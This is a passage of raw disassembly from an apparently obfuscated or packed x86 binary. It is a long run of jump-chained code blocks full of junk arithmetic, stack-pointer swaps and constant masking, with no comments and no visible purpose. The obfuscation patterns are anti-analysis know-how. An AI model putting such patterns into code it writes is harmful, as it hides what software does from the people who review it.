loc_59D3CB:				; CODE XREF: sub_58A891+16588j
					; sub_58A891+209DCj
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5A48B5
; ---------------------------------------------------------------------------


loc_59D3D6:				; CODE XREF: sub_58A891+1DF34j
		add	ebx, 64354Dh
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp-0Ah+arg_0+2]
		jmp	loc_5AC5AE
; ---------------------------------------------------------------------------


loc_59D3E8:				; CODE XREF: sub_58A891+23E44j
					; sub_58A891+252E2j
		mov	ecx, [esp-0Ah+arg_0+2]
		push	1B96h
		mov	[esp+0], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_5AD0A0
; ---------------------------------------------------------------------------


loc_59D40C:				; CODE XREF: sub_58A891+13F93j
		mov	esi, 0C2E72A5h
		shr	esi, 5
		and	esi, 2C9478C0h
		jmp	loc_5A77C0
; ---------------------------------------------------------------------------


loc_59D41F:				; CODE XREF: sub_58A891+25B86j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp


loc_59D432:				; CODE XREF: sub_58A891+134D6j
					; sub_58A891+28685j
		push	ebx
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5B0C4A
; ---------------------------------------------------------------------------


loc_59D443:				; CODE XREF: sub_58A891+146E6j
		xor	edx, ecx
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		mov	eax, edx
		jmp	loc_5A9214
; ---------------------------------------------------------------------------


loc_59D452:				; CODE XREF: sub_58A891+15CB4j
		add	eax, ebx
		pop	ebx
		jmp	loc_59C18B
; ---------------------------------------------------------------------------


loc_59D45A:				; CODE XREF: sub_58A891+1AB7Dj
		add	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		sub	eax, 1304919h
		add	eax, edi
		add	eax, 1304919h
		push	dword ptr [eax]
		jmp	loc_5AA209
; ---------------------------------------------------------------------------


loc_59D479:				; CODE XREF: sub_58A891+204D0j
		add	ecx, 4FD31541h
		jmp	loc_5B2F49
; ---------------------------------------------------------------------------


loc_59D484:				; CODE XREF: sub_58A891+1689Cj
		xor	esi, 19885E12h
		xor	ebx, esi
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_5ACD8D
; ---------------------------------------------------------------------------


loc_59D4A3:				; CODE XREF: sub_58A891+18880j
		mov	[esp+0], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp+2+var_4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		jmp	loc_5ACF40
; ---------------------------------------------------------------------------


loc_59D4C8:				; CODE XREF: sub_58A891:loc_5A15A1j
		sub	edi, 18097730h
		add	edi, 0B309CD10h
		push	edi
		jmp	loc_5AE222
; ---------------------------------------------------------------------------


loc_59D4DA:				; CODE XREF: sub_58A891+1FB34j
		jnp	loc_5A6175
		push	edx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], eax
		mov	ah, 65h
		mov	dh, ah
		pop	eax
		add	cl, dh
		jmp	loc_5AB231
; ---------------------------------------------------------------------------


loc_59D4F3:				; CODE XREF: sub_58A891+17B4Dj
		mov	word ptr [esp+6+var_8+2], ax
		push	edx
		jmp	loc_5AFDF5
; ---------------------------------------------------------------------------


loc_59D4FD:				; CODE XREF: sub_58A891+17721j
		pop	ebx
		inc	eax
		shl	eax, 3
		jmp	loc_5A133A
; ---------------------------------------------------------------------------


loc_59D507:				; CODE XREF: sub_58A891+1FCE5j
		push	ebp
		mov	ebp, esp
		jmp	loc_5A6A50
; ---------------------------------------------------------------------------


loc_59D50F:				; CODE XREF: sub_58A891+1C2A9j
		pop	ecx
		jmp	loc_5A9CEE
; ---------------------------------------------------------------------------


loc_59D515:				; CODE XREF: sub_58A891+25FD3j
		push	edi
		push	4
		pop	edi
		jmp	loc_5B1624
; ---------------------------------------------------------------------------


loc_59D521:				; CODE XREF: sub_58A891+1D4D3j
		pop	ebx
		pop	[esp+6+var_8+2]
		jmp	loc_5A91EF
; ---------------------------------------------------------------------------


loc_59D52A:				; CODE XREF: sub_58A891+17273j
		push	ecx
		mov	ecx, 5AEB1909h
		jmp	loc_5AA14A
; ---------------------------------------------------------------------------


loc_59D535:				; CODE XREF: sub_58A891+191BCj
		jmp	loc_5AA2D5
; ---------------------------------------------------------------------------


loc_59D53A:				; CODE XREF: sub_58A891+1BF7Cj
		push	esp
		jmp	loc_5A0EAA
; ---------------------------------------------------------------------------


loc_59D540:				; CODE XREF: sub_58A891+18D45j
		mov	ecx, 2
		sub	ebp, 6D304411h
		add	ebp, ecx
		add	ebp, 6D304411h
		mov	ecx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_59DBC9
; ---------------------------------------------------------------------------


loc_59D56C:				; CODE XREF: sub_58A891+2407Bj
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_5ACD97
; ---------------------------------------------------------------------------


loc_59D577:				; CODE XREF: sub_58A891+2588Ej
		add	esp, 4
		push	eax
		push	edx
		jmp	loc_5AAD66
; ---------------------------------------------------------------------------


loc_59D584:				; CODE XREF: sub_58A891+1610Cj
		mov	esi, eax
		pop	eax
		jmp	loc_5AB7E1
; ---------------------------------------------------------------------------


loc_59D58C:				; CODE XREF: sub_58A891+20430j
		xor	[esp+6+var_8+2], 676923F4h
		pop	edx
		push	esi
		mov	esi, 49087BD1h
		shl	esi, 7
		add	esi, 0E32B3B74h
		xor	edx, esi
		mov	esi, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_5AA0BC
; ---------------------------------------------------------------------------


loc_59D5B3:				; CODE XREF: sub_58A891+11900j
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		sub	esp, 4
		jmp	loc_5ACD2D
; ---------------------------------------------------------------------------


loc_59D5C8:				; CODE XREF: sub_58A891+19D0Cj
		push	dword ptr [esp+0]
		jmp	loc_5A8B38
; ---------------------------------------------------------------------------


loc_59D5D0:				; CODE XREF: sub_58A891+1E91Aj
		mov	ecx, ebx
		pop	ebx
		or	ecx, 7CD95AF6h
		sub	ecx, 336EF3EDh
		jmp	loc_5B11E5
; ---------------------------------------------------------------------------


loc_59D5E4:				; CODE XREF: sub_58A891+285E2j
		sub	edx, ecx
		add	edx, 4754E29h
		push	ecx
		jmp	loc_5AF924
; ---------------------------------------------------------------------------


loc_59D5F2:				; CODE XREF: sub_58A891+2129Bj
		add	edi, esi
		jmp	loc_5B02A1
; ---------------------------------------------------------------------------


loc_59D5F9:				; CODE XREF: sub_58A891+1CAE0j
		mov	bx, word ptr [esp+2+var_4+2]
		push	esi
		mov	esi, esp
		jmp	loc_5AEAF3
; ---------------------------------------------------------------------------


loc_59D605:				; CODE XREF: sub_58A891:loc_5B1D05j
		add	ebx, 0E64BF044h
		mov	ebp, ebx
		push	[esp+6+var_8+2]
		pop	ebx
		jmp	loc_5A1F44
; ---------------------------------------------------------------------------


loc_59D616:				; CODE XREF: sub_58A891+2282Ej
		jmp	loc_5B15CF
; ---------------------------------------------------------------------------


loc_59D61B:				; CODE XREF: sub_58A891+12DFAj
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		jmp	loc_5A506F
; ---------------------------------------------------------------------------


loc_59D62B:				; CODE XREF: sub_58A891+1C09Cj
		push	eax
		push	7BC56FC6h
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		xor	eax, 73987AD0h
		jb	loc_5A418D
		not	eax
		jmp	loc_59D316
; ---------------------------------------------------------------------------


loc_59D649:				; CODE XREF: sub_58A891+27692j
		sub	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp+0]
		mov	esp, [esp+0]
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, esp
		push	0AC6h
		mov	[esp+2+var_4+2], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59D61B
; ---------------------------------------------------------------------------


loc_59D690:				; CODE XREF: sub_58A891+20CF7j
		sub	edi, 6C936EE0h
		jo	loc_59F93B
		push	esi
		mov	esi, 1F4A627Eh
		xor	esi, 8665EC09h
		jmp	loc_5A4194
; ---------------------------------------------------------------------------


loc_59D6AD:				; CODE XREF: sub_58A891+16D7Fj
					; sub_58A891+1BF86j
		add	ecx, 0FBF69DD4h
		add	edx, 1D6139CDh
		add	edx, ecx
		jmp	loc_5B0F33
; ---------------------------------------------------------------------------


loc_59D6C0:				; CODE XREF: sub_58A891+2608Ej
		mov	edx, 43A2551Eh
		xor	edx, 43A2551Ah
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		jmp	loc_5AEFF2
; ---------------------------------------------------------------------------


loc_59D6E3:				; CODE XREF: sub_58A891+188F5j
		pop	esp
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5A3F5F
; ---------------------------------------------------------------------------
		mov	ax, [esp+0]
		push	328Dh
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ACE0F
; ---------------------------------------------------------------------------


loc_59D706:				; CODE XREF: sub_58A891+1F7ADj
		mov	eax, esp
		jmp	loc_5B2582
; ---------------------------------------------------------------------------


loc_59D70D:				; CODE XREF: sub_58A891+1C67Bj
		mov	edi, [esp+0]
		add	esp, 4
		or	ebx, 14081DB0h
		add	ebx, 7D5AC787h
		jmp	loc_59D31F
; ---------------------------------------------------------------------------


loc_59D724:				; CODE XREF: sub_58A891+15369j
		mov	ebx, esp
		jmp	loc_5B0038
; ---------------------------------------------------------------------------


loc_59D72B:				; CODE XREF: sub_58A891+225B3j
		add	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		add	edi, 14A46822h
		jmp	loc_5A1ABA
; ---------------------------------------------------------------------------


loc_59D741:				; CODE XREF: sub_58A891+212A2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ah+arg_0+2]
		pop	esp
		jmp	loc_5A01D1
; ---------------------------------------------------------------------------


loc_59D756:				; CODE XREF: sub_58A891+12370j
		push	[esp+8Ah+var_8A]
		jmp	loc_5AF89E
; ---------------------------------------------------------------------------


loc_59D75E:				; CODE XREF: sub_58A891+1626Ej
		mov	dx, 5FF6h
		xor	bp, dx
		pop	dx
		inc	bp
		push	di
		mov	di, 3BBBh
		sub	bp, di
		pop	di
		xor	bp, 350Ah
		add	ax, bp
		jmp	loc_5AC800
; ---------------------------------------------------------------------------


loc_59D781:				; CODE XREF: sub_58A891+24F5Dj
		pop	edi
		mov	ecx, edx
		pop	edx
		neg	ecx
		jp	loc_5AD639
		jmp	loc_59E9B7
; ---------------------------------------------------------------------------


loc_59D792:				; CODE XREF: sub_58A891+263FEj
		not	ecx
		jmp	loc_59EA50
; ---------------------------------------------------------------------------


loc_59D799:				; CODE XREF: sub_58A891+1C59Fj
		mov	ebx, [esp+84h+var_86+2]
		sub	esp, 4
		mov	[esp+88h+var_8A+2], edx
		push	esp
		push	[esp+8Ch+var_8E+2]
		pop	edx
		add	esp, 4
		jmp	loc_5A2074
; ---------------------------------------------------------------------------


loc_59D7B5:				; CODE XREF: sub_58A891+23B50j
		xor	edx, [esp+88h+var_8A+2]
		pop	esp
		jmp	loc_59E6AE
; ---------------------------------------------------------------------------


loc_59D7BE:				; CODE XREF: sub_58A891+1A7E3j
		add	ch, 90h
		sub	ch, 63h
		xor	ch, 82h
		jmp	loc_5A70EA
; ---------------------------------------------------------------------------


loc_59D7CC:				; CODE XREF: sub_58A891+19E5Fj
		jns	loc_5ADB2D
		jmp	loc_59CE93
; ---------------------------------------------------------------------------
		pop	edx
		push	[esp+80h+var_82+2]
		jmp	loc_5B29FF
; ---------------------------------------------------------------------------


loc_59D7E0:				; CODE XREF: sub_58A891+1438Dj
		and	esi, 40CA00C1h
		sub	esi, 0D4FBA26Bh
		sub	ebx, esi
		pop	esi
		add	ebx, ebp
		add	ebx, 2B045D95h
		mov	ebp, [esp+80h+var_82+2]
		sub	esp, 4
		jmp	loc_5A8BB0
; ---------------------------------------------------------------------------


loc_59D805:				; CODE XREF: sub_58A891+22362j
		sub	[esp+84h+var_82+2], 49904C0Ah
		pop	esi
		pop	ebx
		push	edx
		mov	edx, 660239EEh
		jmp	loc_5AB694
; ---------------------------------------------------------------------------


loc_59D81A:				; CODE XREF: sub_58A891+1D500j
		xor	esi, 1DEB531Eh
		inc	esi
		jle	loc_59FE97
		neg	esi
		ja	loc_59FCE9
		sub	esi, 24716061h
		jmp	loc_59FADD
; ---------------------------------------------------------------------------


loc_59D83A:				; CODE XREF: sub_58A891+19B8Cj
		mov	[esp+80h+var_82+2], edi
		add	[esp+80h+var_82+2], 3EE25D48h
		pop	eax
		jmp	loc_5A37DD
; ---------------------------------------------------------------------------


loc_59D84A:				; CODE XREF: sub_58A891+2169Cj
		push	esi
		push	5088h
		mov	[esp+84h+var_86+2], ebx
		sub	esp, 4
		jmp	loc_5A66E2
; ---------------------------------------------------------------------------


loc_59D85B:				; CODE XREF: sub_58A891+165ADj
		xor	al, 97h
		jmp	loc_5A5280
; ---------------------------------------------------------------------------


loc_59D862:				; CODE XREF: sub_58A891+126CEj
		mov	[esp+82h+var_82], ebp
		mov	ebp, 25534BBFh
		jmp	loc_5ADAC7
; ---------------------------------------------------------------------------


loc_59D86F:				; CODE XREF: sub_58A891+25D03j
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp+82h+var_82]
		mov	esp, [esp+82h+var_82]
		jmp	loc_5A906B
; ---------------------------------------------------------------------------


loc_59D88B:				; CODE XREF: sub_58A891+22D85j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+7Eh+var_7E]
		xor	[esp+7Eh+var_7E], esi
		jmp	loc_59C5AF
; ---------------------------------------------------------------------------


loc_59D899:				; CODE XREF: sub_58A891+20D57j
		mov	edi, 4E4C1E00h
		xor	[esp+7Eh+var_7A], edi
		pop	edi
		push	[esp+7Ah+var_7A]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_5AC453
; ---------------------------------------------------------------------------


loc_59D8AF:				; CODE XREF: sub_58A891+227CFj
		push	eax
		mov	ah, 75h
		xor	ah, 30h
		mov	bl, ah
		mov	eax, [esp+82h+var_82]
		add	esp, 4
		add	ah, bl
		pop	ebx
		or	dh, ah
		mov	eax, [esp+7Ah+var_7A]
		add	esp, 4
		jmp	loc_5A0273
; ---------------------------------------------------------------------------


loc_59D8CD:				; CODE XREF: sub_58A891+22DA3j
		or	esi, 33CA67B1h
		jmp	loc_5A9B09
; ---------------------------------------------------------------------------


loc_59D8D8:				; CODE XREF: sub_58A891+254DDj
		xor	ecx, 73900779h
		jle	loc_5A5EDA
		jmp	loc_5A87CA
; ---------------------------------------------------------------------------


loc_59D8E9:				; CODE XREF: sub_58A891+25A42j
		push	198Bh
		mov	[esp+7Ah+var_7A], edi
		push	ecx
		jmp	loc_5AB6BB
; ---------------------------------------------------------------------------


loc_59D8F7:				; CODE XREF: sub_58A891+17D96j
		jmp	loc_5A8507
; ---------------------------------------------------------------------------


loc_59D8FC:				; CODE XREF: sub_58A891+15D78j
		mov	[esp+7Eh+var_7E], edi
		push	66860460h
		push	[esp+82h+var_82]
		pop	edi
		sub	esp, 4
		mov	[esp+86h+var_86], ebp
		push	esp
		pop	ebp
		jmp	loc_59E046
; ---------------------------------------------------------------------------


loc_59D918:				; CODE XREF: sub_58A891+1F262j
		add	cl, 0DFh
		add	dl, cl
		jmp	loc_5AC981
; ---------------------------------------------------------------------------


loc_59D922:				; CODE XREF: sub_58A891+1E52Fj
		add	edi, 98B671Bh
		jmp	loc_5A23FC
; ---------------------------------------------------------------------------


loc_59D92D:				; CODE XREF: sub_58A891+1939Cj
		push	eax
		push	ecx
		mov	ecx, 1CF2041Ah
		jmp	loc_5A5038
; ---------------------------------------------------------------------------


loc_59D939:				; CODE XREF: sub_58A891+1B893j
		add	ecx, 2BD73439h
		jmp	loc_5A53EE
; ---------------------------------------------------------------------------


loc_59D944:				; CODE XREF: sub_58A891+1FECDj
		xor	eax, 0F36537C8h
		jmp	loc_59E12B
; ---------------------------------------------------------------------------


loc_59D94E:				; CODE XREF: sub_58A891+2277Cj
		push	edx
		mov	edx, 37CA2DC8h
		xor	ecx, edx
		pop	edx
		inc	ecx
		add	ecx, 0E5FC9883h
		add	esi, ecx
		pop	ecx
		jmp	loc_5B0DEB
; ---------------------------------------------------------------------------


loc_59D966:				; CODE XREF: sub_58A891+261D2j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8Ah+var_8A]
		mov	esp, [esp+8Ah+var_8A]
		pop	[esp+8Ah+var_8A]
		pop	esp
		sub	esp, 4
		jmp	loc_5A4F72
; ---------------------------------------------------------------------------


loc_59D983:				; CODE XREF: sub_58A891+1546Cj
					; sub_58A891+1A894j
		shr	ebx, 8
		or	ebx, 295D4591h
		not	ebx
		inc	ebx
		shr	ebx, 2
		sub	ebx, 1831C219h
		jmp	loc_5A87E3
; ---------------------------------------------------------------------------


loc_59D99D:				; CODE XREF: sub_58A891+1A905j
		push	[esp+86h+var_86]
		mov	edx, [esp+8Ah+var_8A]
		add	esp, 4
		add	esp, 4
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59D9B1:				; CODE XREF: sub_58A891+26FADj
		jnz	loc_5ADFCE
		not	ebx
		shr	ebx, 8
		sub	ebx, 0D21413h
		pop	eax


loc_59D9C3:				; CODE XREF: sub_58A891+17B55j
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+7Eh+var_7E]
		pop	esp
		inc	ch
		push	eax
		mov	al, 2Dh
		sub	ch, al
		push	[esp+7Eh+var_7E]
		pop	eax
		push	3549h
		mov	[esp+82h+var_82], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+82h+var_82]
		xor	[esp+82h+var_82], esi
		xor	esi, [esp+82h+var_82]
		mov	esp, [esp+82h+var_82]
		shr	ch, 8
		push	edx
		mov	dl, 8
		sub	ch, dl
		pop	edx
		jmp	loc_5AA5B1
; ---------------------------------------------------------------------------


loc_59DA0F:				; CODE XREF: sub_58A891+1C8DCj
		mov	edi, 39B24ADDh
		mov	ebx, edi
		pop	edi
		or	ebx, 3B631AFFh
		jp	loc_5A53CE
		or	ebx, 21050DDEh
		jb	loc_5B08D3


loc_59DA2F:				; CODE XREF: sub_58A891+1C289j
		push	ebx
		mov	ebx, 4
		push	ecx
		mov	ecx, 7595613Ch
		jmp	loc_5AEA52
; ---------------------------------------------------------------------------


loc_59DA40:				; CODE XREF: sub_58A891+2820Bj
		push	[esp+86h+var_82]
		pop	esi
		pop	[esp+86h+var_86]
		pop	esp
		inc	word ptr [esp+7Eh+var_7E]
		pushf
		jmp	loc_5AC4B6
; ---------------------------------------------------------------------------


loc_59DA53:				; CODE XREF: sub_58A891+21620j
		pop	esi
		push	ebp
		jmp	loc_5B158D
; ---------------------------------------------------------------------------


loc_59DA5A:				; CODE XREF: sub_58A891+26E12j
		pop	esp
		add	ecx, edi
		mov	[ecx], al
		pop	ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DA65:				; CODE XREF: sub_58A891+119E6j
		mov	esp, [esp-12h+arg_8+2]
		dec	word ptr [esp-12h+arg_8+2]
		pushf
		jmp	loc_5B23FA
; ---------------------------------------------------------------------------


loc_59DA72:				; CODE XREF: sub_58A891+259EDj
		jbe	loc_5AA406
		shr	ebp, 4
		jmp	loc_5A4464
; ---------------------------------------------------------------------------


loc_59DA80:				; CODE XREF: sub_58A891+190ADj
		add	edi, 4
		jmp	loc_5A9291
; ---------------------------------------------------------------------------


loc_59DA8B:				; CODE XREF: sub_58A891+210ABj
		add	esp, 4
		mov	esi, ecx
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		add	edi, esi
		mov	esi, [esp-16h+arg_E]
		jmp	loc_5AC874
; ---------------------------------------------------------------------------


loc_59DAA6:				; CODE XREF: sub_58A891+21CFCj
		push	7D7Ch
		mov	[esp-12h+arg_8+2], ecx
		jmp	loc_5AF0EB
; ---------------------------------------------------------------------------


loc_59DAB3:				; CODE XREF: sub_58A891+1B682j
		mov	[esp-12h+arg_8+2], ebx
		push	edi
		push	0DA079E5h
		mov	edi, [esp-0Ah+arg_0+2]
		jmp	loc_5AA7EE
; ---------------------------------------------------------------------------


loc_59DAC4:				; CODE XREF: sub_58A891:loc_5A88E6j
		or	esi, 7D9C22A7h
		jmp	loc_5AC098
; ---------------------------------------------------------------------------


loc_59DACF:				; CODE XREF: sub_58A891+15485j
		mov	al, dh
		mov	cl, al
		pop	eax
		jmp	loc_5AAB29
; ---------------------------------------------------------------------------


loc_59DAD9:				; CODE XREF: sub_58A891+1DCDDj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DADE:				; CODE XREF: sub_58A891+1B7E4j
		push	edi
		mov	edi, 46081CF6h
		sub	edi, 0CE9BBEE9h
		jmp	loc_5A7125
; ---------------------------------------------------------------------------


loc_59DAEF:				; CODE XREF: sub_58A891+224B5j
		xchg	edi, [esp-0Ah+arg_0+2]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5B24F8
; ---------------------------------------------------------------------------


loc_59DAFB:				; CODE XREF: sub_58A891+1CECEj
		jge	loc_59EE6B
		dec	ebx
		jmp	loc_59C7C8
; ---------------------------------------------------------------------------
		mov	edx, eax
		pop	eax
		pop	edi
		pop	edi


loc_59DB0C:				; CODE XREF: sub_58A891+17224j
		add	eax, 2C4D7A58h
		add	eax, ebp
		sub	eax, 2C4D7A58h
		sub	eax, 10FB5693h
		add	eax, 6C4D452Eh
		pop	ebp
		push	esi
		jmp	loc_5A0962
; ---------------------------------------------------------------------------


loc_59DB29:				; CODE XREF: sub_58A891+23E07j
		xor	[esp-16h+arg_E], edi
		jmp	loc_5A0050
; ---------------------------------------------------------------------------


loc_59DB31:				; CODE XREF: sub_58A891+25D72j
		push	ecx
		mov	ch, 0DEh
		jmp	loc_5A1EC3
; ---------------------------------------------------------------------------


loc_59DB39:				; CODE XREF: sub_58A891+1D0ADj
		push	ebx
		mov	bl, 0B2h
		shr	bl, 6
		push	eax
		mov	ah, 0E2h
		jmp	loc_5B27CC
; ---------------------------------------------------------------------------


loc_59DB47:				; CODE XREF: sub_58A891+27B28j
		add	ebx, 14B6FB3Eh
		jmp	loc_5A607A
; ---------------------------------------------------------------------------


loc_59DB52:				; CODE XREF: sub_58A891+252AFj
		add	ecx, 4
		jmp	loc_5A3BF2
; ---------------------------------------------------------------------------


loc_59DB5D:				; CODE XREF: sub_58A891+1C0EEj
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 469B5111h
		sub	ecx, 11BC62D4h
		push	ebx
		jmp	loc_5A80F2
; ---------------------------------------------------------------------------


loc_59DB71:				; CODE XREF: sub_58A891+24B0Aj
		add	edi, 8D3E4865h
		jmp	loc_5A818D
; ---------------------------------------------------------------------------


loc_59DB7C:				; CODE XREF: sub_58A891+19A53j
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_5A9A87
; ---------------------------------------------------------------------------


loc_59DB87:				; CODE XREF: sub_58A891+2845Dj
		shl	dh, 1
		xor	dh, 15h
		mov	ch, dh
		jmp	loc_59DC1A
; ---------------------------------------------------------------------------


loc_59DB93:				; CODE XREF: sub_58A891+233B1j
					; sub_58A891+24E63j
		mov	ecx, [esp+0]
		add	esp, 4
		add	ecx, 4
		push	6Ch
		jmp	loc_5B28F0
; ---------------------------------------------------------------------------


loc_59DBAC:				; CODE XREF: sub_58A891+14457j
		mov	dx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp+2+var_4+2]
		pop	esp
		push	ebx
		mov	bx, 4915h
		jmp	loc_5A2ADE
; ---------------------------------------------------------------------------


loc_59DBC9:				; CODE XREF: sub_58A891+12CD6j
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], ebp
		jmp	loc_59E152
; ---------------------------------------------------------------------------


loc_59DBD7:				; CODE XREF: sub_58A891+18EADj
		add	eax, 792A1C8Fh
		add	eax, edi
		sub	eax, 792A1C8Fh
		sub	eax, 68CD3298h
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		push	eax
		push	[esp+0Eh+var_C+2]
		pop	eax
		jmp	loc_5A110A
; ---------------------------------------------------------------------------


loc_59DBFC:				; CODE XREF: sub_58A891+183D1j
		not	edi
		jmp	loc_5AC890
; ---------------------------------------------------------------------------


loc_59DC03:				; CODE XREF: sub_58A891+28448j
		push	ebp
		mov	ebp, 52FE6F45h
		not	ebp
		jmp	loc_59EA0C
; ---------------------------------------------------------------------------


loc_59DC10:				; CODE XREF: sub_58A891+1CCFFj
		mov	esi, 4
		jmp	loc_5AFA88
; ---------------------------------------------------------------------------


loc_59DC1A:				; CODE XREF: sub_58A891+132FDj
					; sub_58A891+1E5C6j
		jg	loc_5A44AA
		jmp	loc_5A27FF
; ---------------------------------------------------------------------------
		add	ebx, eax
		jmp	loc_5AE439
; ---------------------------------------------------------------------------
		push	eax
		mov	ecx, edi
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5A7FCB
; ---------------------------------------------------------------------------


loc_59DC3E:				; CODE XREF: sub_58A891+15216j
		mov	ebx, 2
		jmp	loc_59E947
; ---------------------------------------------------------------------------


loc_59DC48:				; CODE XREF: sub_58A891+117B4j
		pop	ebp
		push	edi
		mov	edi, 7DDE7420h
		sub	edi, 441422B1h
		and	esi, edi
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59BF81
; ---------------------------------------------------------------------------


loc_59DC62:				; CODE XREF: sub_58A891+1FE28j
					; sub_58A891+26AE5j
		add	eax, ebx
		pop	ebx
		push	270Eh
		jmp	loc_5AC831
; ---------------------------------------------------------------------------


loc_59DC6F:				; CODE XREF: sub_58A891+15B41j
		or	edx, esi
		pop	esi
		xor	edx, 0F9FA7DCAh
		jmp	loc_5A19CB
; ---------------------------------------------------------------------------


loc_59DC7D:				; CODE XREF: sub_58A891+1F286j
		pop	esi
		push	ecx
		mov	ecx, 5DC36E8Eh
		sub	esi, ecx
		pop	ecx
		sub	esi, 77D873D3h
		add	esi, ebp
		add	esi, 77D873D3h
		push	ebp
		mov	ebp, 5DC36E8Eh
		jmp	loc_5A8F97
; ---------------------------------------------------------------------------


loc_59DCA0:				; CODE XREF: sub_58A891+1B74Dj
		mov	edx, [esp+12h+var_14+2]
		jmp	loc_59E4AC
; ---------------------------------------------------------------------------


loc_59DCA8:				; CODE XREF: sub_58A891+1DF81j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 5F7709CCh
		add	ebx, edi
		sub	ebx, 5F7709CCh
		add	ebx, 45736B13h
		pop	edi
		xor	ebx, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebx
		jmp	loc_59FBCD
; ---------------------------------------------------------------------------


loc_59DCCB:				; CODE XREF: sub_58A891+22A97j
		xor	edi, ebp
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		push	0
		sub	[esp+0Ah+var_C+2], edi
		pop	edi
		xor	edi, 0F3CFDDCAh
		add	esi, edi
		mov	edi, [esp+6+var_8+2]
		add	esp, 4
		push	edi
		mov	edi, 31523AFDh
		shl	edi, 4
		add	edi, 1D05002Ah
		push	2Ch
		mov	[esp+0Ah+var_C+2], ebp
		mov	ebp, 760266C2h
		and	edi, ebp
		push	[esp+0Ah+var_C+2]
		pop	ebp
		add	esp, 4
		or	edi, 9853DABh
		add	edi, 0C47AC017h
		sub	esi, 72E55B8Fh
		add	esi, edi
		add	esi, 72E55B8Fh
		jmp	loc_59C0E2
; ---------------------------------------------------------------------------


loc_59DD34:				; CODE XREF: sub_58A891+174E4j
					; sub_58A891+215EBj
		add	ecx, eax
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_59FD02
; ---------------------------------------------------------------------------


loc_59DD44:				; CODE XREF: sub_58A891+2508Ej
		push	ebx
		mov	ebx, 5E230C55h
		jmp	loc_5A663B
; ---------------------------------------------------------------------------


loc_59DD4F:				; CODE XREF: sub_58A891+1214Bj
		add	ebx, 4F8F3F75h
		add	ebx, edi
		push	ecx
		jmp	loc_5ACC2A
; ---------------------------------------------------------------------------


loc_59DD5D:				; CODE XREF: sub_58A891+1DF8Dj
		push	ebp
		pop	edx
		jmp	loc_5B0F1C
; ---------------------------------------------------------------------------


loc_59DD64:				; CODE XREF: sub_58A891+227E6j
		pop	esp
		or	eax, eax
		jnz	loc_59D432
		push	1D2Ch
		mov	[esp+92h+var_92], esi
		push	ebp
		mov	ebp, 78027818h
		mov	esi, ebp
		pop	ebp
		mov	edx, offset dword_607990
		jmp	loc_59E3F4
; ---------------------------------------------------------------------------


loc_59DD88:				; CODE XREF: sub_58A891+19191j
		inc	ebp
		jmp	loc_5A3968
